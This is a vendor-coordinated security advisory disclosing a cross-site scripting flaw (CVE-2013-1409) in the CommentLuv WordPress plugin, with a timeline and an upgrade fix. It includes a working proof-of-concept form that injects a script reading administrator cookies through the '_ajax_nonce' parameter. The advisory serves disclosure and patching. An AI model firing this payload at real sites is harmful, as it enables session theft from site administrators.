Advisory ID: HTB23138
Product: CommentLuv WordPress plugin
Vendor: Andy Bailey
Vulnerable Version(s): 2.92.3 and probably prior
Tested Version: 2.92.3
Vendor Notification: January 16, 2013 
Vendor Patch: January 17, 2013 
Public Disclosure: February 6, 2013 
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-1409
Risk Level: Low 
CVSSv2 Base Score: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in CommentLuv WordPress plugin, which can be exploited to perform Cross-Site Scripting (XSS) attacks.


1) Cross-Site Scripting (XSS) in CommentLuv wordpress plugin: CVE-2013-1409

The vulnerability exists due to insufficient filtration of user-supplied data in "_ajax_nonce" HTTP POST parameter in the "/wp-admin/admin-ajax.php" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

PoC (Proof-of-Concept) below uses the "alert()" JavaScript function to display administrator's cookies: 


<form action="http://[host]/wp-admin/admin-ajax.php" method="post" name="askform">
<input type="hidden" name="action" value="cl_ajax" />
<input type="hidden" name="do" value="fetch" />
<input type="hidden" name="url" value="1" />
<input type="hidden" name="_ajax_nonce" value='<script>alert(document.cookie);</script>'/>
<input type="submit" id="btn">
</form>


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Solution:

Upgrade to CommentLuv 2.92.4

More Information:
http://wordpress.org/extend/plugins/commentluv/changelog/

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References:

[1] High-Tech Bridge Advisory HTB23138 - https://www.htbridge.com/advisory/HTB23138 - Cross-Site Scripting (XSS) Vulnerability in CommentLuv WordPress Plugin.
[2] CommentLuv - http://www.commentluv.com/ - CommentLuv is a popular WordPress plugin that will magnetize your readers, socialize your comments and viralize your posts.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. 

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.